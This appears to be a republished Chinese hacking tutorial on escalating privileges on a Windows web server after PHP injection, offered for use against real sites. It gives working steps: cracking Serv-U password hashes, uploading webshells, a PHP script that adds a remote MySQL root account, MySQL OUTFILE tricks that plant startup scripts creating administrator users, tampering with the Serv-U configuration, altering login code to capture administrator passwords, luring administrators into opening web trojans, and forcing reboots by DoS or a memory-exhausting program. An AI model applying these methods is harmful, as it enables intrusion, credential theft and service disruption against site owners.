明輝手游網(wǎng)中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

很強的php注入后的提權(quán)

[摘要]方法一:爆破法.最顯眼的要屬用戶名和密碼了, 關(guān)鍵是如何破密碼呢?到網(wǎng)上搜了一個專門破SERV-U密碼的工具(Serv-UPassCrack1.0a.rar), 太慢了, 這要等到何年何月啊!干脆用...

方法一:爆破法.

最顯眼的要屬用戶名和密碼了, 關(guān)鍵是如何破密碼呢?到網(wǎng)上搜了一個專門破SERV-U密碼的工具(Serv-UPassCrack1.0a.rar), 太慢了, 這要等到何年何月!干脆用記事本打開它的腳本crack.vbs.看看解密原理:假設(shè)原來明文密碼用"password_mingwen"表示, 密文密碼也就是我們在ServUDaemon.ini中看到的密碼(34位), 用"password_miwen"表示,密文的前兩位合并上明文, 然后經(jīng)MD5加密后正好等于密文的后三十二位!】

即:md5(password_mingwen+left(password_miwen,2)=right(password_miwen,32)俗話說的好啊, "工欲善其事, 必先利其器"在網(wǎng)上找了兩上絕配的工具!一個是MD5CrackSpV2.3(速度增強版,一個非常好用的MD5爆破工具), 另一個是字典專家.BBSt,利用它我們可以生成前兩位為我們指定字母的字典!MD5CrackSpV2.3速度奇快,我們可以指定開的線程數(shù),我在P4,256M內(nèi)存環(huán)境下做了一個測試,利用字典專家.BBSt生成一個含3億條記錄,1.2G左右的字典,用MD5CrackSpV2.3開8線程跑,總共用了30分鐘!一個線程一秒鐘跑大約2萬條記錄,8個線程一秒鐘,就是16萬條記錄!!照此計算一臺機器一天就能跑約138億條記錄!假如有十臺P4連合作業(yè),威力無窮啊!同時在網(wǎng)上看到消息說山東大學已經(jīng)研究出來了破解MD5的算法!但是沒有找到具體的程序, 程序一旦出世,密而不密,恐怕很多網(wǎng)站又要遭殃了!!

方法二:程序法.

在c:\ProgramFiles\Serv-U\ServUDaemon.ini文件中共有十多位用戶, 其中有一個的用戶目錄:"d:\s***n\a***lover\photo\gallery"吸引了我。 立即在瀏覽器中打上http://www.*****.net/a***lover/photo/gallery出現(xiàn)如下提示:"ThisVirtualDirectorydoesnotallowcontentstobelisted", 在試試它的上一級目錄看看:http://www.*****.net/a***lover/photo/真是山重水復疑無路, 柳暗花明又一村。≡瓉碓跈C子里還藏著個某某網(wǎng)絡(luò)相冊.

首先注冊個用戶進去看看, 有圖片上傳功能啊, 抓包看看是否存在有類似動網(wǎng)UPFILE的漏洞, 用NC提交后失敗了, 上傳類型還是圖片文件, 又是那句話:"此路不通"。 利用CASI查看http://www.*****.net/a***lover/photo/index.php的文件內(nèi)容得知:程序中文名稱:文本圖片管理程序程序英文名稱:NEATPIC版本:2.0.13BETA, 老規(guī)矩先到網(wǎng)上下個研究研究在說。 經(jīng)過分析目錄結(jié)構(gòu)發(fā)現(xiàn)在:database/user.php文件用于存放用戶名密碼等注冊信息!用CASI打開:http://www.*****.net/a***lover/photo/database/user.php顯示無文件內(nèi)容!難道是默認目錄不對?!管理員把目錄改了。】磁渲梦募篽ttp://www.*****.net/a***lover/photo/inc/config.inc.php發(fā)現(xiàn):

//參數(shù)設(shè)置

//*********************************

$DataDir="database678";//雜項數(shù)據(jù)存放目錄

$CatDir="second";//二級分類數(shù)據(jù)存放目錄

$SortDir="main";//分類數(shù)據(jù)文件存放目錄

$PicRecordDir="picdata";//圖片數(shù)據(jù)總目錄

$PicDir="pic";//圖片文件存放目錄

$SPicDir="spic";//縮略圖存放目錄

$CommentDir="comment";//圖片評論目錄

$UserDat="user.php";//用戶數(shù)據(jù)文件

$Dat="dat.php";//相冊數(shù)據(jù)文件

一、上傳PHPSHELL, 控制MYSQL數(shù)據(jù)庫

通過ServUDaemon.ini文件中的Access1=D:\s***n\a***lover\photo\gallery RWAMLCDP知道該用戶具有:讀取(R), 寫入(W), 追加(A)等功能, 唯獨缺少了"執(zhí)行(E)"功能!利用PUT命令上傳一個一句話的WebShell上去.在瀏覽器中運行http://www.*****.net/a***lover/photo/gallery/webshell.php?cmd=dir,出現(xiàn):

Warning:passthru():Unabletofork[dir]inD:\s***n\a***lover\photo\gallery\webshell.phponline1

看來外部命令不能執(zhí)行,管理員一定作了相應設(shè)置.再上傳一個phpinfo.php文件在瀏覽器中運行:http://www.*****.net/a***lover/photo/gallery/phpinfo.php,這時在php.ini變量的設(shè)置都顯示出來了(當然也你可以利用CASI看c:\windows\php.ini的內(nèi)容)!外部命令不能執(zhí)行的原因在此:

 引用內(nèi)容

safe_mode

Off

Off

safe_mode_exec_dir

no value

no value

safe_mode_gid

Off

Off

safe_mode_include_dir

no value

no value

接下來上傳一個自己編的僅帶有瀏覽, 拷貝, 重命名, 刪除文件和上傳文件五個功能的PHPSHELL:CMD.PHP

注: 由于時間倉促代碼界面沒優(yōu)化好, 在dir文本框中輸入要瀏覽的目錄名稱;copy文本框中,上面輸入源文件如d:\web\cmd.php, 下面輸入目標 文件如d:\web\cmdbak.php;del文本框中輸入要刪除的文件名如:d:\web\cmdbak.php;ren命令與copy命令相似; 點瀏覽按鈕,選擇你要上傳的文件,然后點upload按鈕,就上傳到與本SHELL相同的目錄下了.

運行: http://www.*****.net/ a***lover/photo/gallery/cmd.php,利用dir命令,可以看D盤,C:\windows,以及C:\Program Files下的內(nèi)容,而且對D盤還有寫權(quán)限!在通過copy命令把想下載的軟件考到WEB目錄下下載下來了^_^

如何才能把文件寫到只讀的C盤上呢?這就要通過MYSQL了!但是MYSQL沒有遠程連接啊!沒有條件創(chuàng)造條件,看文章系統(tǒng)的配置文件config.inc.php的內(nèi)容了嗎?

$dbhost="localhost";//數(shù)據(jù)庫主機名

$dbuser="root";//數(shù)據(jù)庫用戶名

$dbpass="******";//數(shù)據(jù)庫密碼

$dbname="article";//數(shù)據(jù)庫名

數(shù)據(jù)庫用戶名和密碼都知道了, 可惜的是本地用戶, 然而我們能不能通過本地有最高權(quán)限用戶root來添加個遠程用戶呢?答案是肯定的。

為此專門寫了個程序adduser.php利用已知的有ROOT權(quán)限的帳號添寫加遠程ROOT權(quán)限的帳號, 內(nèi)容如下:

 引用內(nèi)容

$dbh=mysql_connect('localhost:3306','root','*****');//

echo mysql_errno().": ".mysql_error()."

";

mysql_select_db('mysql');

echo mysql_errno().": ".mysql_error()."

";

$query="GRANT ALL PRIVILEGES ON *.* TO username@'%'IDENTIFIED BY 'password'

WITH GRANT OPTION";

$res=mysql_query($query, $dbh);

echo mysql_errno().": ".mysql_error()."

";

$err=mysql_error();

if($err){

echo "ERROR!";

}

else{

echo "ADD USER OK!";

}

?>

利用cmd.php上傳adduser.php執(zhí)行后, 就在庫中添加了一個遠程ROOT帳號, 就可以用CASI帶的MYSQL連接器連上了!!它可以把MYSQL庫關(guān)了!!用牛族可方便的瀏覽表中的記錄!如下圖:帶%號的用戶為添加的遠程用戶。

二:權(quán)限的提升

FTP是ServU5.0.0.4又有用戶名和密碼,自然會想到是否存在益處, 在網(wǎng)上搜個工具sftp

行Sftp -I 211.92.***.*** -u b*****b -p ****** -t 1 -o 1 -p 21后沒有溢出成功 www.arpun.com , 看來是管理員打了補。∧闹缓孟雱e的辦法了!(-I 表示ip地址,-u 用戶名,-p 密碼-o操作系統(tǒng)類型,-p 端口號) 以下總結(jié)了幾種提升權(quán)限的方法供大參考:

方法一、打開牛族MYSQL連接器, 在命令行上輸入:

user download;

create table cmdphp (cmd TEXT);

insert into cmdphp values("set wshshell=createobject(\"wscript.shell\")");

insert into cmdphp values("a=wshshell.run(\"cmd.exe /c net user hello hello\",0)");

insert into cmdphp values("b=wshshell.run(\"cmd.exe /c net user localgroup administrators hello /add\",0)");

select * from cmdphp into outfile "c:\\Documents and Settings\\Administrator\\[開始]菜單\\程序\\啟動\\cmdphp.vbs";

注 意:在路徑中要用"\\"而不是"\", 要加雙引號時, 前面必需加"\"。

原理是:我們在download數(shù)據(jù)庫中, 建了一個表cmdphp, 表中共一個 字段cmd, 我們把要執(zhí)行的命令寫到表中, 然后在在表中導出到啟動菜單中!這樣只要一重起后, 我們就會得到一個管理員級的用戶hello了。 d:\ s***n\a***lover\photo\gallery

方法二、修改SERV-U的文件ServUDaemon.ini中的相應內(nèi)容:

Password=hq50AAF4CB3FA4EF89C9E9D605B20B2971

HomeDir=c:\

RelPaths=1

TimeOut=600

Access1=D:\s***n\ a***lover\photo\gallery RWAMELCDP

Maintenance=System

SKEYValues=

把密碼換成我們知道的密碼, 把主目錄換成c:\, Access1后的目錄可以不用換, 這樣使管理員在SERV-U里看起來還是以前的目錄名, RWAMELCDP這一串是關(guān)鍵, 我們比以前多加了一個"E"代表我們有"執(zhí)行"權(quán)限, Maintenance=System表示我們的身份是管理員。

在本地設(shè)置好后, 就開始想辦法, 替換掉它的文件?首先, 利用我的哪個cmd.。 php SHELL的上傳文件功能, 先把它上傳到d:\s***n\a***lover\photo\gallery目錄(上傳成功后文件與SHELL在同一目 錄)下, 同樣再打開牛族MYSQL連接器:

user download;

create table servu (cmd TEXT);

load data infile "d:\\s***n\\a***lover\\photo\\gallery\\ServUDaemon.ini;

select * from servu into outfile "C:\Program Files\Serv-U\ServUDaemon.ini";

條件是SERV-U重啟后, 我們的哪個用戶就是管理員了, 而且在C盤根目錄下具有可執(zhí)行權(quán)限。 登上SERV-U服務器上執(zhí)行如下命令:

quote site exec net.exe user hello hello /add

quote site exec net.exe localgroup administrators hello /add

這樣我們就得到了一個管理員級的用戶hello。 如果沒有開3389我們可以利用PUT上傳給它上傳個3389.EXE,然后用quote執(zhí)行后, 就可以用 3389登錄器連接了!同樣我們也可以利用另外一個小工具xyzcmd.exe在dos下登錄, 會得到一個CMDSHELL.

方法三:由于管理員在PHP.INI中做了一些限制, 上傳的PHPSHELL沒法執(zhí)行外部命令

利用CMD.PHP的瀏覽命令, 你可以在它的上面找到它的PHP和SERV- U的安裝程序, DOWN下來, 在本機上模擬它的環(huán)境, 配置自己的PHP.INI文件, 使它能夠執(zhí)行外部命令, 解釋ASP和CGI, 然后利用方法二替換掉它 的PHP.INI文件。 也有個條件就是WEB重啟后才能生效。 我們需要一個小東西-FPIPE.EXE端口重定向工具!fpipe -v -l 5210 -s 5209 -r 43958 127.0.0.1(把本機的43958端口, 通過5209端口, 轉(zhuǎn)發(fā)到5210端口)打開你本地SERV-U添加一臺服務器, 來連接5210,填上服務 器IP, 監(jiān)聽端口號5210, 填上帳戶和密碼!  user:LocalAdministratorpass:#l@$ak#.lk;0@P全部搞定后, 來連接SERV-U, 連接成功后, 我們就對此服務器SERV-U有了完全控制權(quán)限!然后登錄上 SERV-U加管理員用戶就OK了!

方法四:社會工程學加網(wǎng)頁木馬!

在04年黑防第6期我的朋友血漢的《網(wǎng)頁木馬讓你肉雞成群》一文中, 講了許多 做木馬的方法, 在這里就不啰嗦了, 省的老獨說轉(zhuǎn)稿費, 哈哈!把"馬"傳上去后, 可以在論壇里發(fā)個貼子, 如"管理員我發(fā)現(xiàn)了此網(wǎng)站一個漏洞!"或"管理員我 對網(wǎng)站有幾點建議"估計不久真的會成為"養(yǎng)雞專業(yè)戶了"。 建議不要改人家的主頁, 一來不好, 二來如果掛在主頁上, 管理員看到后不一定會點開!還有更隱蔽的 一招, 就是修改源程序(估計一般管理員不會沒事讀源程序吧^_^), 找到網(wǎng)站登錄的程序, 加一段程序, 可以根據(jù)ID來判斷是管理員, 如果是把他的密碼(在 如MD5加密前)插入到你的信箱或qq等字段中, 這樣你可以打開你的用戶資料來看了!

接下來談談如何叫服務器重起:

方法一、我非常建議用的方法哪就是dos攻擊!

方法二、如果你上傳的SHELL能執(zhí)行命令!可以傳一個很簡單的C程序, 讓它不斷地MALLOC分配內(nèi)存, 而且不FREE。

#i nclude

#i nclude

main()

{for(; ;) malloc(0xffffff);}

方法三、如果一些網(wǎng)站是PHP的不能執(zhí)行外部命令(我們上傳上去的可執(zhí)行文件不能運行)!


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。